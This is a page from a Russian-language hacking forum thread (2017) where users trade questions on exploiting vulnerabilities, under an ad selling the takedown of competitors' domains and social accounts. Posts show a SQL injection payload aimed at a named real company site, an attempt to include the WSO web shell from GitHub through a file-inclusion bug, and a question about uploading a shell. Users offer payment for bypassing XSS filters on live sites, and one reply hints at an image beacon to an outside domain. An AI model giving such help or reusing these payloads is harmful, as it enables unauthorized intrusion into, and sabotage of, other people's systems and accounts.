УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

		Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Ваши вопросы по уязвимостям.

Страница 169 из 296

169

Опции темы

Поиск в этой теме

Опции просмотра

#1681

28.01.2017, 16:35

foozzione

Guest

Сообщений: n/a

Провел на форуме:
19301

Репутация: 0

[QUOTE="SaNDER"]
SaNDER said:
↑
Error-Based SQL Injection .
WAF фильтрует concat .
*****.**/news.php?id=1 concat

#1682

28.01.2017, 23:02

Octavian

Guest

Сообщений: n/a

Провел на форуме:
97114

Репутация: 24

Залить шелл в таких условиях?

Код:

Code:
$uploaddir = "img/news/";
$temp=sha1(uniqid()).".jpg";
$uploadfile = $uploaddir . $temp;
move_uploaded_file($_FILES['image']['tmp_name'], $uploadfile);

#1683

29.01.2017, 01:20

crlf

Guest

Сообщений: n/a

Провел на форуме:
169212

Репутация: 441

Цитата:

Сообщение от Octavian

Octavian said:
↑
Залить шелл в таких условиях?

Только в фантазиях

#1684

29.01.2017, 02:02

foozzione

Guest

Сообщений: n/a

Провел на форуме:
19301

Репутация: 0

есть урл, october cms - https://site.ru/blog/post/name_post

там есть скуля, хочу раскрутить через sqlmap, но чистого роута не знаю, есть спецы по octobercms?

нужно знать урл по типу такого https://site.ru/blog.php?post=name_post

#1685

29.01.2017, 03:18

foozzione

Guest

Сообщений: n/a

Провел на форуме:
19301

Репутация: 0

и еще один вопрос, есть lfi:

Код:

Code:
Warning: file_exists() expects parameter 1 to be a valid path, string given in /var/www/***/***/***.php on line 3170 Не найден файл: site_func/https://raw.githubusercontent.com/tennc/webshell/master/php/wso/wso-4.2.5.php

судя из ошибка пыхи (а пыху знаю 6 лет), в file_exists нельзя пихать строку, требуется файл на сервере, как реализовать? Еще поправка, файлы онли .php подключает.

UPD:

Кстате любой файл исполняется, а не экранируется, конфиги не получить, cms знаю, пути знаю, как извлечь инфу нужную?

Кто поможет раскрутить lfi (url не дам, только варианты пробовать буду), отбрагодарю финансово.

В ЛС могу кинуть уязвимый код на пыхе

#1686

01.02.2017, 18:17

Octavian

Guest

Сообщений: n/a

Провел на форуме:
97114

Репутация: 24

Где тут вектор атаки что я делаю нетак http://iucosoft.com/software-development-details.html?place=-desktop'+or+union+select+1,2,3+or+''='8

#1687

02.02.2017, 18:05

Elva

Guest

Сообщений: n/a

Провел на форуме:
5299

Репутация: 0

XSS.

Задача обойти фильтр.

Пропускает исключительно

10$ в BTC за результативную помощь в внедрении кода (ЛС).

Сайт №1.

Отправляю:

Код:

Code:

Получаю:

Код:

Code:

Сайт №2

Отправляю:

Код:

Code:

Получаю

Код:

Code:

#1688

02.02.2017, 19:08

crlf

Guest

Сообщений: n/a

Провел на форуме:
169212

Репутация: 441

Цитата:

Сообщение от Elva

Elva said:
↑

Синтаксис нарушен img.src = 'https://domen.com/1.gif?', возможно из-за этого парсер ломает структуру. javascript:там не нужен.

Код:

Code:

Во втором похоже на белый список атриббутов, фильтр вроде caja.

#1689

02.02.2017, 19:08

crlf

Guest

Сообщений: n/a

Провел на форуме:
169212

Репутация: 441

Цитата:

Сообщение от Octavian

Octavian said:
↑
Где тут вектор атаки что я делаю нетак
http://iucosoft.com/software-development-details.html?place=-desktop'+or+union+select+1,2,3+or+''='8

Прочитай любую вводную стаью про SQL Injection.

#1690

02.02.2017, 19:27

cyrhaller

Guest

Сообщений: n/a

Провел на форуме:
1415

Репутация: 6

Цитата:

Сообщение от Elva

Elva said:
↑
XSS.
Задача обойти фильтр.
Пропускает исключительно
10$ в BTC за результативную помощь в внедрении кода (ЛС).
Сайт №1.
Отправляю:

Код: